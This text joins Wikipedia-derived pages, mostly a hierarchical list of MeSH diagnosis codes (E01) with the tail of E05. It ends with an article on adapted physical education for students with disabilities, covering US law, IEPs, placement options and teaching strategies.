– no-observed-adverse-effect level
– trauma severity indices
– abbreviated injury scale
– glasgow coma scale
– glasgow outcome scale
– injury severity score
– weightlessness countermeasures
– weightlessness simulation
– hindlimb suspension
– whole body imaging
– whole-body irradiation
The list continues at List of MeSH codes (E06).
E05
|
5088739
|
https://en.wikipedia.org/wiki/List%20of%20MeSH%20codes%20%28E01%29
|
List of MeSH codes (E01)
|
The following is a partial list of the "E" codes for Medical Subject Headings (MeSH), as defined by the United States National Library of Medicine (NLM).
This list continues the information at List of MeSH codes (D27). Codes following these are found at List of MeSH codes (E02). For other MeSH codes, see List of MeSH codes.
The source for this content is the set of 2006 MeSH Trees from the NLM.
– diagnosis
– diagnosis, computer-assisted
– image interpretation, computer-assisted
– neuronavigation
– radiographic image interpretation, computer-assisted
– diagnosis, differential
– diagnosis, dual (psychiatry)
– diagnostic errors
– false negative reactions
– false positive reactions
– observer variation
– diagnostic techniques and procedures
– breath tests
– diagnostic imaging
– image interpretation, computer-assisted
– neuronavigation
– radiographic image interpretation, computer-assisted
– tomography, emission-computed
– positron-emission tomography
– tomography, emission-computed, single-photon
– tomography, x-ray computed
– colonography, computed tomographic
– tomography, spiral computed
– imaging, three-dimensional
– echocardiography, three-dimensional
– echocardiography, four-dimensional
– holography
– magnetic resonance imaging
– cholangiopancreatography, magnetic resonance
– diffusion magnetic resonance imaging
– echo-planar imaging
– magnetic resonance angiography
– magnetic resonance imaging, cine
– microscopy
– dermoscopy
– microscopy, acoustic
– microscopy, confocal
– laser scanning cytometry
– microscopy, electron
– cryoelectron microscopy
– electron probe microanalysis
– microscopy, electron, scanning
– microscopy, electron, transmission
– microscopy, electron, scanning transmission
– microscopy, energy-filtering transmission electron
– microscopy, immunoelectron
– microscopy, fluorescence
– microscopy, fluorescence, multiphoton
– microscopy, interference
– microscopy, phase-contrast
– microscopy, polarization
– microscopy, scanning probe
– microscopy, atomic force
– microscopy, scanning tunneling
– microscopy, ultraviolet
– microscopy, video
– photomicrography
– photography
– holography
– image enhancement
– radiographic image enhancement
– angiography, digital subtraction
– radiography, dental, digital
– radiography, dual-energy scanned projection
– tomography, x-ray computed
– colonography, computed tomographic
– tomography, spiral computed
– tomography, emission-computed
– positron-emission tomography
– tomography, emission-computed, single-photon
– photofluorography
– photogrammetry
– moire topography
– photography, dental
– photomicrography
– radiography
– age determination by skeleton
– angiography
– angiocardiography
– angiography, digital subtraction
– aortography
– cerebral angiography
– cineangiography
– coronary angiography
– phlebography
– portography
– arthrography
– cineradiography
– cineangiography
– densitometry, x-ray
– electrokymography
– fluoroscopy
– photofluorography
– hysterosalpingography
– lymphography
– mammography
– xeromammography
– microradiography
– neuroradiography
– cerebral angiography
– cerebral ventriculography
– echoencephalography
– ultrasonography, doppler, transcranial
– myelography
– pneumoencephalography
– pneumoradiography
– pneumoencephalography
– radiographic image enhancement
– angiography, digital subtraction
– radiography, dental, digital
– radiography, dual-energy scanned projection
– tomography, x-ray computed
– colonography, computed tomographic
– tomography, spiral computed
– radiographic image interpretation, computer-assisted
– radiographic magnification
– radiography, abdominal
– cholangiography
– cholangiopancreatography, endoscopic retrograde
– cholangiopancreatography, magnetic resonance
– cholecystography
– defecography
– portography
– radiography, dental
– age determination by teeth
– radiography, bitewing
– radiography, dental, digital
– radiography, panoramic
– sialography
– radiography, interventional
– radiography, thoracic
– bronchography
– mass chest x-ray
– tomography, x-ray
– tomography, x-ray computed
– colonography, computed tomographic
– tomography, spiral computed
– urography
– xeroradiography
– xeromammography
– radionuclide imaging
– absorptiometry, photon
– radioimmunodetection
– radionuclide angiography
– radioisotope renography
– radionuclide ventriculography
– gated blood-pool imaging
– ventriculography, first-pass
– tomography, emission-computed
– positron-emission tomography
– tomography, emission-computed, single-photon
– spectroscopy, near-infrared
– stroboscopy
– subtraction technique
– angiography, digital subtraction
– radiography, dual-energy scanned projection
– thermography
– tomography
– magnetic resonance imaging
– cholangiopancreatography, magnetic resonance
– diffusion magnetic resonance imaging
– echo-planar imaging
– magnetic resonance angiography
– magnetic resonance imaging, cine
– tomography, emission-computed
– positron-emission tomography
– tomography, emission-computed, single-photon
– tomography, optical
– tomography, optical coherence
– tomography, x-ray
– tomography, x-ray computed
– tomography, spiral computed
– transillumination
– ultrasonography
– echocardiography
– echocardiography, doppler
– echocardiography, doppler, color
– echocardiography, doppler, pulsed
– echocardiography, stress
– echocardiography, three-dimensional
– echocardiography, four-dimensional
– echocardiography, transesophageal
– echoencephalography
– ultrasonography, doppler, transcranial
– endosonography
– microscopy, acoustic
– ultrasonography, doppler
– echocardiography, doppler
– echocardiography, doppler, color
– echocardiography, doppler, pulsed
– ultrasonography, doppler, duplex
– ultrasonography, doppler, color
– echocardiography, doppler, color
– ultrasonography, doppler, pulsed
– echocardiography, doppler, pulsed
– ultrasonography, doppler, transcranial
– ultrasonography, interventional
– ultrasonography, mammary
– ultrasonography, prenatal
– nuchal translucency measurement
– whole body imaging
– diagnostic techniques, cardiovascular
– angiography
– angiocardiography
– angiography, digital subtraction
– aortography
– cerebral angiography
– cineangiography
– coronary angiography
– fluorescein angiography
– magnetic resonance angiography
– phlebography
– portography
– radionuclide angiography
– radionuclide ventriculography
– gated blood-pool imaging
– ventriculography, first-pass
– angioscopy
– blood circulation time
– blood flow velocity
– blood pressure determination
– blood pressure monitoring, ambulatory
– blood volume determination
– capillary fragility
– heart function tests
– angiocardiography
– ballistocardiography
– cardiac output
– stroke volume
– cardiography, impedance
– cardiotocography
– coronary angiography
– echocardiography
– echocardiography, doppler
– echocardiography, doppler, color
– echocardiography, doppler, pulsed
– echocardiography, stress
– echocardiography, three-dimensional
– echocardiography, four-dimensional
– echocardiography, transesophageal
– electrocardiography
– body surface potential mapping
– electrocardiography, ambulatory
– vectorcardiography
– body surface potential mapping
– electrophysiologic techniques, cardiac
– exercise test
– heart auscultation
– phonocardiography
– heart catheterization
– catheter ablation
– catheterization, swan-ganz
– kinetocardiography
– oximetry
– blood gas monitoring, transcutaneous
– pulse
– radionuclide ventriculography
– gated blood-pool imaging
– ventriculography, first-pass
– valsalva maneuver
– laser-doppler flowmetry
– microscopic angioscopy
– plethysmography
– photoplethysmography
– plethysmography, impedance
– cardiography, impedance
– tilt-table test
– diagnostic techniques, digestive system
– cholangiography
– cholangiopancreatography, endoscopic retrograde
– cholangiopancreatography, magnetic resonance
– cholecystography
– colonography, computed tomographic
– endoscopy, digestive system
– cholangiopancreatography, endoscopic retrograde
– endoscopy, gastrointestinal
– colonoscopy
– sigmoidoscopy
– duodenoscopy
– gastroscopy
– proctoscopy
– esophagoscopy
– esophageal ph monitoring
– gastric acidity determination
– gastrointestinal transit
– lactose tolerance test
– liver function tests
– pancreatic function tests
– portography
– sialography
– diagnostic techniques, endocrine
– adrenal cortex function tests
– blood glucose self-monitoring
– glucose tolerance test
– ovarian function tests
– pituitary-adrenal function tests
– pituitary function tests
– radioligand assay
– thyroid function tests
– basal metabolism
– diagnostic techniques, neurological
– electroencephalography
– alpha rhythm
– beta rhythm
– cortical synchronization
– delta rhythm
– theta rhythm
– magnetoencephalography
– neurologic examination
– pain measurement
– reflex
– reflex, abdominal
– reflex, abnormal
– reflex, babinski
– reflex, acoustic
– reflex, pupillary
– reflex, stretch
– startle reaction
– neuroradiography
– cerebral angiography
– cerebral ventriculography
– echoencephalography
– ultrasonography, doppler, transcranial
– myelography
– pneumoencephalography
– spinal puncture
– transcranial magnetic stimulation
– diagnostic techniques, obstetrical and gynecological
– colposcopy
– culdoscopy
– fallopian tube patency tests
– fetal monitoring
– cardiotocography
– hysterosalpingography
– hysteroscopy
– ovarian function tests
– ovulation detection
– ovulation prediction
– pelvimetry
– placental function tests
– pregnancy tests
– pregnancy tests, immunologic
– preimplantation diagnosis
– prenatal diagnosis
– amniocentesis
– chorionic villi sampling
– fetoscopy
– ultrasonography, prenatal
– nuchal translucency measurement
– ultrasonography, mammary
– uterine monitoring
– vaginal smears
– diagnostic techniques, ophthalmological
– corneal topography
– electroretinography
– eye movements
– electronystagmography
– electrooculography
– flicker fusion
– fluorescein angiography
– fluorophotometry
– gonioscopy
– ophthalmodynamometry
– ophthalmoscopy
– retinoscopy
– tonometry, ocular
– vision tests
– color perception tests
– perimetry
– refraction, ocular
– vision screening
– diagnostic techniques, otological
– hearing tests
– acoustic impedance tests
– audiometry
– audiometry, evoked response
– audiometry, pure-tone
– audiometry, speech
– speech discrimination tests
– speech reception threshold test
– dichotic listening tests
– recruitment detection (audiology)
– otoscopy
– vestibular function tests
– caloric tests
– electronystagmography
– diagnostic techniques, radioisotope
– radioimmunoassay
– radioisotope dilution technique
– radioligand assay
– radionuclide imaging
– absorptiometry, photon
– radioimmunodetection
– radionuclide angiography
– radioisotope renography
– radionuclide ventriculography
– gated blood-pool imaging
– ventriculography, first-pass
– tomography, emission-computed
– positron-emission tomography
– tomography, emission-computed, single-photon
– schilling test
– diagnostic techniques, respiratory system
– bronchography
– bronchoscopy
– laryngoscopy
– mass chest x-ray
– mucociliary clearance
– Nasal provocation test
– respiratory function tests
– airway resistance
– blood gas analysis
– oximetry
– blood gas monitoring, transcutaneous
– bronchial provocation tests
– capnography
– exercise test
– lung compliance
– lung volume measurements
– total lung capacity
– closing volume
– functional residual capacity
– expiratory reserve volume
– residual volume
– vital capacity
– expiratory reserve volume
– inspiratory capacity
– inspiratory reserve volume
– tidal volume
– plethysmography, whole body
– pulmonary gas exchange
– pulmonary diffusing capacity
– ventilation-perfusion ratio
– pulmonary ventilation
– forced expiratory flow rates
– maximal expiratory flow rate
– maximal expiratory flow-volume curves
– maximal midexpiratory flow rate
– peak expiratory flow rate
– forced expiratory volume
– maximal voluntary ventilation
– spirometry
– bronchospirometry
– valsalva maneuver
– work of breathing
– respiratory sounds
– rhinomanometry
– rhinometry, acoustic
– diagnostic techniques, surgical
– biopsy
– biopsy, needle
– biopsy, fine-needle
– chorionic villi sampling
– conization
– sentinel lymph node biopsy
– endoscopy
– angioscopy
– arthroscopy
– bronchoscopy
– colposcopy
– culdoscopy
– cystoscopy
– endoscopy, digestive system
– cholangiopancreatography, endoscopic retrograde
– endoscopy, gastrointestinal
– colonoscopy
– sigmoidoscopy
– duodenoscopy
– gastroscopy
– proctoscopy
– esophagoscopy
– fetoscopy
– hysteroscopy
– laparoscopy
– laryngoscopy
– mediastinoscopy
– neuroendoscopy
– thoracoscopy
– thoracic surgery, video-assisted
– ureteroscopy
– video-assisted surgery
– thoracic surgery, video-assisted
– pneumomediastinum, diagnostic
– pneumoperitoneum, artificial
– diagnostic techniques, urological
– antibody-coated bacteria test, urinary
– cystoscopy
– kidney function tests
– blood urea nitrogen
– glomerular filtration rate
– radioisotope renography
– nephrostomy, percutaneous
– ureteroscopy
– urinalysis
– urinary catheterization
– urography
– diagnostic tests, routine
– disability evaluation
– work capacity evaluation
– electrodiagnosis
– electrocardiography
– body surface potential mapping
– electrocardiography, ambulatory
– vectorcardiography
– body surface potential mapping
– electroencephalography
– alpha rhythm
– beta rhythm
– cortical synchronization
– delta rhythm
– theta rhythm
– electrokymography
– electromyography
– electronystagmography
– electrooculography
– electrophysiologic techniques, cardiac
– electroretinography
– plethysmography, impedance
– insufflation
– kymography
– electrokymography
– mass screening
– anonymous testing
– genetic screening
– mass chest x-ray
– multiphasic screening
– neonatal screening
– medical history taking
– cornell medical index
– reproductive history
– monitoring, physiologic
– blood glucose self-monitoring
– drug monitoring
– esophageal ph monitoring
– fetal monitoring
– cardiotocography
– monitoring, ambulatory
– blood pressure monitoring, ambulatory
– electrocardiography, ambulatory
– esophageal ph monitoring
– monitoring, immunologic
– monitoring, intraoperative
– polysomnography
– telemetry
– uterine monitoring
– myography
– electromyography
– neoplasm staging
– physical examination
– anthropometry
– cephalometry
– odontometry
– pelvimetry
– apgar score
– auscultation
– heart auscultation
– blood pressure determination
– body constitution
– body weights and measures
– body fat distribution
– adiposity
– body mass index
– body size
– body height
– body weight
– birth weight
– fetal weight
– overweight
– obesity
– obesity, morbid
– thinness
– body surface area
– crown-rump length
– organ size
– skinfold thickness
– waist-hip ratio
– somatotypes
– body temperature
– facial expression
– facies
– gait
– hand strength
– neurologic examination
– reflex
– reflex, abdominal
– reflex, abnormal
– reflex, babinski
– reflex, acoustic
– reflex, pupillary
– reflex, stretch
– startle reaction
– palpation
– digital rectal examination
– percussion
– pigmentation
– skin pigmentation
– pulse
– range of motion, articular
– self-examination
– breast self-examination
– plethysmography
– photoplethysmography
– plethysmography, impedance
– cardiography, impedance
– plethysmography, whole body
– premarital examinations
– skin tests
– intradermal tests
– kveim test
– skin test end-point titration
– local lymph node assay
– passive cutaneous anaphylaxis
– patch tests
– tuberculin test
– speech production measurement
– speech articulation tests
– xenodiagnosis
– early diagnosis
– incidental findings
– laboratory techniques and procedures
– clinical chemistry tests
– blood chemical analysis
– blood gas analysis
– oximetry
– blood gas monitoring, transcutaneous
– blood glucose self-monitoring
– blood protein electrophoresis
– blood urea nitrogen
– glucose clamp technique
– glucose tolerance test
– lactose tolerance test
– petrosal sinus sampling
– enzyme tests
– esophageal ph monitoring
– gastric acidity determination
– limulus test
– urinalysis
– cytodiagnosis
– amniocentesis
– biopsy
– biopsy, needle
– biopsy, fine-needle
– chorionic villi sampling
– conization
– sentinel lymph node biopsy
– chorionic villi sampling
– cytopathogenic effect, viral
– spinal puncture
– vaginal smears
– hematologic tests
– blood cell count
– erythrocyte count
– reticulocyte count
– leukocyte count
– lymphocyte count
– cd4 lymphocyte count
– cd4-cd8 ratio
– platelet count
– blood coagulation tests
– international normalized ratio
– partial thromboplastin time
– prothrombin time
– thrombelastography
– thrombin time
– whole blood coagulation time
– blood grouping and crossmatching
– blood sedimentation
– bone marrow examination
– erythrocyte aggregation
– erythrocyte indices
– figlu test
– hematocrit
– hemoglobinometry
– osmotic fragility
– platelet function tests
– bleeding time
– clot retraction
– platelet count
– schilling test
– immunologic tests
– basophil degranulation test
– cell migration inhibition
– cytotoxicity tests, immunologic
– complement hemolytic activity assay
– fluorescent antibody technique
– antibody-coated bacteria test, urinary
– fluorescent antibody technique, direct
– fluorescent antibody technique, indirect
– fluoroimmunoassay
– fluorescence polarization immunoassay
– hemolytic plaque technique
– histocompatibility testing
– blood grouping and crossmatching
– lymphocyte culture test, mixed
– immune adherence reaction
– immunoassay
– immunoblotting
– blotting, western
– blotting, far-western
– immunoenzyme techniques
– enzyme-linked immunosorbent assay
– enzyme multiplied immunoassay technique
– immunosorbent techniques
– enzyme-linked immunosorbent assay
– radioallergosorbent test
– radioimmunoprecipitation assay
– radioimmunosorbent test
– radioimmunoassay
– immunoradiometric assay
– radioallergosorbent test
– radioimmunoprecipitation assay
– radioimmunosorbent test
– leukocyte adherence inhibition test
– monitoring, immunologic
– pregnancy tests, immunologic
– serologic tests
– agglutination tests
– hemagglutination tests
– coombs test
– latex fixation tests
– aids serodiagnosis
– complement fixation tests
– complement hemolytic activity assay
– hemadsorption inhibition tests
– hemagglutination inhibition tests
– neutralization tests
– skin test end-point titration
– precipitin tests
– flocculation tests
– immunodiffusion
– immunoelectrophoresis
– counterimmunoelectrophoresis
– immunoelectrophoresis, two-dimensional
– radioallergosorbent test
– radioimmunoprecipitation assay
– syphilis serodiagnosis
– fluorescent treponemal antibody absorption test
– treponema immobilization test
– skin tests
– intradermal tests
– kveim test
– skin test end-point titration
– local lymph node assay
– passive cutaneous anaphylaxis
– patch tests
– tuberculin test
– metabolic clearance rate
– neonatal screening
– occult blood
– parasite egg count
– pregnancy tests
– pregnancy tests, immunologic
– radioligand assay
– sex determination (analysis)
– specimen handling
– biopsy
– biopsy, needle
– biopsy, fine-needle
– chorionic villi sampling
– conization
– sentinel lymph node biopsy
– dissection
– microdissection
– preservation, biological
– cryopreservation
– freeze drying
– freeze substitution
– refrigeration
– tissue preservation
– blood preservation
– organ preservation
– semen preservation
– punctures
– biopsy, needle
– blood specimen collection
– cordocentesis
– petrosal sinus sampling
– phlebotomy
– chorionic villi sampling
– paracentesis
– pericardiocentesis
– spinal puncture
– tissue and organ harvesting
– vaginal smears
– sperm count
– urinalysis
– prognosis
– disease-free survival
– medical futility
– pregnancy outcome
– treatment outcome
– treatment failure
The list continues at List of MeSH codes (E02).
E01
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5089299
|
https://en.wikipedia.org/wiki/Adapted%20physical%20education
|
Adapted physical education
|
Adapted physical education is the art and science of developing, implementing, and monitoring a carefully designed physical education. Instructional program for a learner with a disability, based on a comprehensive assessment, to give the learner the skills necessary for a lifetime of rich leisure, recreation, and sport experiences to enhance physical fitness and wellness. Principles and Methods of Adapted Physical Education and Recreation.Adapted physical education generally refers to school-based programs for students ages 3–21yrs.
Federal law mandates that physical education be provided to students with disabilities. Physical Education is defined as the development of physical and motor skills, fundamental motor skills and patterns, skills in aquatics, dance and individual and group games and sports; including intramural and lifetime sports. Adapted Physical Education National Standards - What is Adapted Physical Education?
Adapted Physical Education National Standards (APENS)
The Adapted Physical Education National Standards promotes qualified, nationally certified educators to provide physical education services to students with disabilities.
European Standards of Adapted Physical Activity (EUSAPA)
The European Standards of Adapted Physical Activity has a set of standards for adapted physical education. They were revised to consider teaching adapted physical activity remotely.
Key legislation
Education of all Handicapped Children Act of 1975 (P.L. 94–142)
The history of Adapted Physical Education began with the implementation of P.L. 94–142 in 1975. This act recognized physical education as a direct service. Specially designed physical education programs must be made available to every disabled child receiving a Free, Appropriate Public Education (FAPE).
Americans with Disabilities Act (P.L. 101–336)
The Americans with Disabilities Act (ADA) was enacted in 1990 to prohibit the discrimination of individuals with disabilities in the public and private sectors. The ADA outlaws discrimination against a person with a disability in five spheres: employment, public services, transportation, public accommodations, and telecommunications. ADA requires accessibility in physical education facilities. Examples include: Weight rooms that accommodate wheelchair users, gym lockers that use combination locks, playgrounds surrounded by a fence, and well lighted gymnasiums to aid students with visual impairments.
Individuals with Disabilities Education Act (IDEA)
Enacted in 1990 (and reauthorized in 1997 and 2004), IDEA was the reauthorization of PL 94–142 and continued the emphasis upon FAPE, IEP, LRE, and physical education as a direct educational service. With this reauthorization, person-first terminology was instituted, and emphasis was placed on the education of students with disabilities within the general curriculum and parent involvement in educational programming. Under Federal Law, in order to qualify for this special education programming, students must fall within one of the thirteen disability categories identified under IDEA and demonstrate an academic need.
Individualized Education Program or IEP
An Individualized Educational Program (IEP) can be defined as a plan for each student, ages 3 to 21, who qualifies for special education services, based on an evaluation. All IEP's are outcome-oriented giving assurance that the student will benefit from special education and have real opportunities, full participation, independent living, and economic self-efficiency. If a student is receiving adapted physical education services, it must be identified on the IEP and APE goals should be developed and implemented. IEPs are revised once a year by an IEP team. Individuals with an IEP should receive a reevaluation every three years. IEP's are developed by the IEP team and based on comprehensive assessment as outlined by guidelines established in IDEA.
Purpose
Federal law mandates that each student receiving special education and related services must have an Individualized Education Program (IEP) developed for them. An IEP must be designed and written specifically for one student, outlining individualized needs, and used to establish an appropriate educational placement. Some consider the IEP to be a "management" program to guide appropriate service delivery, which includes the area of physical education. The IEP creates an opportunity for teachers, parents, school administrators, related services personnel and students (when appropriate) to work together to improve educational results for learners with disabilities.
Do all students with disabilities need an IEP for physical education?
No, IDEA 2004 mandates each individual with a disability have an IEP developed if necessary to benefit their education. If an appropriate assessment is completed and the IEP team decides the student is not safe and/or successful in general physical education without supplementary aids and services, then an IEP is developed and services provided. A student can have IEP goals related to physical education needs regardless of their educational placement.
Placement options
What is the relationship between placement and the IEP?
Decisions based on IDEA qualifications are generally discussed and determined during an Individual Education Program (IEP) meeting. IEP recommendations for services and supports must consider a student's unique needs, as well as the Least Restrictive Environment (LRE)." The LRE will be based upon the assessment process and where the IEP goals can best be met. There are a variety of placement option which should be considered including:
Full-time General PE (GPE)
General PE with a younger class
Part-time Adapted PE (GPE for some units or parts of a lesson)
Reverse Mainstreaming
Small Group or One on One PE
Separate School
Home/Hospital
IEP/IPEP
IPEP stands for Individual Physical Education Program. It is a written document that parallels the IEP in form and content but is specific to physical education. Unlike the IEP, the IPEP is not a legal document. Instead, it is a summary of assessment data and needs of a student. An IPEP provides recommendations for placement, services, and the teaching and learning conditions that will be best suited for each student.
Section 504 Plan
Section 504 of the Rehabilitation Act of 1973 protects the rights of individuals with disabilities in programs and activities that receive federal financial assistance, including federal funds. Section 504 provides that: "No otherwise qualified individual with a disability in the United States ... shall, solely by reason of her or his disability, be excluded from the participation in, be denied the benefits of, or be subjected to discrimination under any program or activity receiving Federal financial assistance...
What is the difference between an IEP and a Section 504 Plan?
If a student has one of the thirteen disabilities identified by IDEA and demonstrates an educational need, special services are provided. These services are guided by the IEP. Students who do not meet the qualifications for IDEA but still have a disability and require some assistance to be able to participate in physical education would be candidates for a Section 504 Plan. A Section 504 Plan spells out the modifications and accommodations that will be needed for these students to have an opportunity to perform at the same level as their peers (might include things like a wheelchair ramp, blood sugar monitoring, etc.).
Use of technology
With the ever changing world of technology, there are plenty of new developments in physical education with new and improved technology. As an APE teacher it is crucial to stay up to date with the new technology. It is important to learn and implement the new technology to better help their students succeed in physical education. APE teachers first need to learn and understand the new and improved technology and find what way works the best for his or herself and the students to help them succeed in the best way possible. APE teachers can create a website for the class to upload anything and everything they will be doing throughout the school year to keep track of their progress and IEP goal attainment. The APE teacher can develop a fitness workout plan with videos and step by step instructions that the students can download and follow in the classroom or at home with a family member. APE teacher can help the students incorporate fitness apps into their daily life, there are new apps that are being used in physical education which are MyFitnessPal and MapMyFitness that track your exercise, help with your nutrition and calorie intake. Students can be taught how to keep track of their physical fitness, nutrition and their goals. These apps can also be used as report cards or IEP goal attainment because they have tracked their exercises. Teachers can easily create videos of students doing an activity and download them onto an iPod or computer so students have an easily accessible reference to use during transition periods or after they graduate. Video games are also starting to become more and more predominant in physical education classes, such games can be used outside of school as well. Some games are particularly accessible for individuals with disabilities including Wii and Eye Toy Play. There will always be new ways to enhance learning but ultimately it comes down to what gives the most success to the individual and the APE teacher. Technology is always changing everyday, APE teachers should stay up to date with the technology and find way to improve and enhance their students physical education and development as a person and athlete.
Teaching adapted physical education
Qualifications
Qualifications vary by state. In order to be qualified an educator must have met their state's approved or recognized certification, licensing, registration, or other comparable requirements. While these vary by state, there are national standards set in place to allow somebody to become a Certified Adapted Physical Education Professional or CAPE. These requirements include
A bachelor's degree in physical education or equivalent (sport science, kinesiology, etc.)
A minimum of 200 hours of practicum experiences in adapted physical education
Completion of a minimum of 9 credits of coursework from a related field
A valid teaching certificate in physical education
Take the APENS National Certification Exam
While certification will certainly help educators create well-developed adapted physical education programs, there are no requirements for local school districts to hire CAPE's.
Determining what to teach
A physical education instructor will assess the needs of the students considering their employment opportunities and living arrangements after graduation. This will allow them to create an adapted physical education curriculum for students following the ABC planning process. The steps in this process are as follows.
Define the student's curriculum goals.
Delineate the objectives for each curriculum goal.
Determine the emphasis each goal should receive in the curriculum.
Calculate the amount of time available.
Calculate the average objective mastery time.
Determine how much content can fit in the curriculum.
Sequence the goals and objectives developmentally.
Class format
Class format is defined as the way in which members of the class are organized. There are seven class formats that are most commonly used in adapted physical education settings.
One-to-one instruction: one teacher or assistant for every student.
Small group: 3-10 students working together with a teacher or assistant.
Large group: entire class participating together as a group.
Mixed group: using various class formats within one class period.
Peer teaching or tutoring: using classmates or students without disabilities from other classes for teaching and assisting students with disabilities.
Teaching stations: several areas in which smaller subsets for the class rotate to practice skills.
Self-paced independent work: each student works on individual goals at his or her own pace following directions on task cards or with guidance from the teacher or assistant.
Teachers must find the best class format to help the student achieve the goals for the lesson.
Teaching for specific disabilities
Intellectual Disabilities
There are a number of general modifications that can be applied in a physical education environment for students with intellectual disabilities.
The first set of modifications deal with communication. When instructing students use shorter sentences, use gestures or demonstrations as supplement to verbal cues, repeat directions and have students repeat directions back to you, provide praise often, and give more feedback.
The next set of modifications deal with practice. Give students extra practice trials, build in more time for a student to master skills, make sure activities are perceived as fun, promote active participation, shorten activities to reduce problems with attention span, and allow choices in what activity will be done, when it will be done, where it will take place, and with whom the child will participate in the activity with. One method to structure activities is known as level teaching. To accommodate for students with varying levels of intellectual disabilities a game will be designed with different levels. For example, if the specific sport is volleyball the instructor will set up 3 courts with different modifications at each court to accommodate for these varying levels of disability. Court 1 may have a set of cones designating opposing sides while Court 3 has a net set in place. Different rules may be applied to different courts as well, allowing every student to be challenged in a constructive way.
The third set of modifications deal with curriculum. Adjust the general education curriculum to meet the needs of a student. For example, reduce the number of objectives that need to be mastered. If a student is severely delayed, an entirely new curriculum may need to be made. Activities may also need to provide early success which will encourage adherence.
The final set of modifications deal with the environment. It should be structured and visually appealing. It is essential to reduce playing areas in order to eliminate distractions. Plan to structure the environment in a way that will allow you to deal with behavioral problems.
Learning disabilities
1 in 5 students with learning disabilities will also have motor impairments. There are a number of ways to accommodate these students.
Reduce class size: This allows teacher extra one on one time with students. Often a class of 20-30 students proves to be more effective than double or triple that in general physical education classes.
Use peer tutors: Peers can be rained in how to provide specific skill feedback as well as modify activities so the student has higher success. This can be effective when class size cannot be reduced.
Offer learning strategies: Both teachers and peer tutors can provide strategies to help disorganized learners focus. This includes provided picture cues, video cues, and additional cues such as footprints on the floor to help a student understand what and how to perform an activity.
Provide structured practice: Allow the student to get many practice opportunities. This will help them learn how to listen to and observe visual feedback for performance.
Identify success: Reframe success for students in a way that does not focus on the result. For example, using correct form in shooting should be a measure of success rather than making the basket.
Use a variety of senses when giving instructions: Some students do better listening to instruction while others do better watching a demonstration. Others may do best when physically guided into the pattern. By incorporating many types of learning styles, students will be more likely to succeed.
ADHD
Students with attention-deficit/hyperactivity disorder may experience motor learning delays. Many strategies are available to minimize learning delays in students with ADHD.
Positive feedback: There is a relationship between positive feedback given by a physical education teacher and students applying corrective feedback.
Task sheets: A task sheet provides a progression of activities to be completed by the students and requires them to record their results. Task sheets can be turned in at the end of class. This allows students to assess their performance while acknowledging their need to improve their skills.
Token economy or point system: This is a structured agreement between the student and teacher in which the student earns rewards by meeting a minimum expectation. At the end of class both the student and teacher initial the points earned. At the end of the month, the student may earn a reward of his or her choice provided by the teacher.
Autism spectrum disorder
Various strategies exist to allow students with autism to be successfully included in a physical education setting.
Preparing for inclusion: It is essential to know the students needs, abilities, and preferences. It is also important to prepare the student. The physical education environment may be anxiety inducing for them. Because of this, educators can slowly introduce the student to the environment. They may also preview the class using visual organizers to describe the setting the student will be a part of. They may also make visual schedules prior to class. It is also important to prepare the peers by teaching them what autism is and behaviors associated with it.
Instructing the student: There are a variety of methods for instructing students with autism. The first, environmental prompts. This involves the intentional use of equipment to encourage specific behaviors. The next is verbal prompts. This includes avoiding negative sentences. For example, instruction such as "step with your right leg" as opposed to "don't step with your left leg". Verbal prompts also include keeping phrases literal as well as provided concise instruction. It is also important to be consistent with language use. Peer tutors may also provide a lot of benefits for students in the physical education setting.
Deafness
Being deaf or hard of hearing typically has little impact on the development of motor skills, fitness levels, and participation in sports. However, it is still important to accommodate students who are deaf or hard of hearing in the physical education setting.
Communicate using his or her preferred means of communication. When giving verbal instructions, make sure the student can see the instructors face clearly. Make sure you speak clearly and at a normal rate. Incorporate visual aids that have images or descriptive words. Repeat comments or questions made by the student's classmates. This helps all students alike. Check for understanding by asking students to repeat directions or demonstrate a skill. If an interpreter is involved, make sure to speak directly to the student, rather than the interpreter.
Visual impairments
Children with visual impairments can play all of the same sports as their sighted peers, with some modifications. This may include a beeping ball or allowing blind player to walk around and feel the environment before they begin. Modifications can be made continuously until the best solution is found. Children with visual impairments and blindness may need more instruction and practice time to learn new concepts and movements. It is suggested that students receive pre-teaching before the start of a new unit. This can be done before school, after school, during orientation, or at home. Peer tutors may also be effective for students with visual impairments or blindness.
References
Further reading
Cortiella, C. (2005). IDEA 2004 close-up: transition planning. Retrieved May 6, 2010, from
Section 504 of the Rehabilitation Act of 1973, as amended, 29 U.S.C. 794.
Sherrill, Claudine. Adapted Physical Activity, Recreation and Sport: Crossdisciplinary AndLifespan. Fifth Edition. N.p.: McGraw-Hill Companies, n.d. Print.
Physical education
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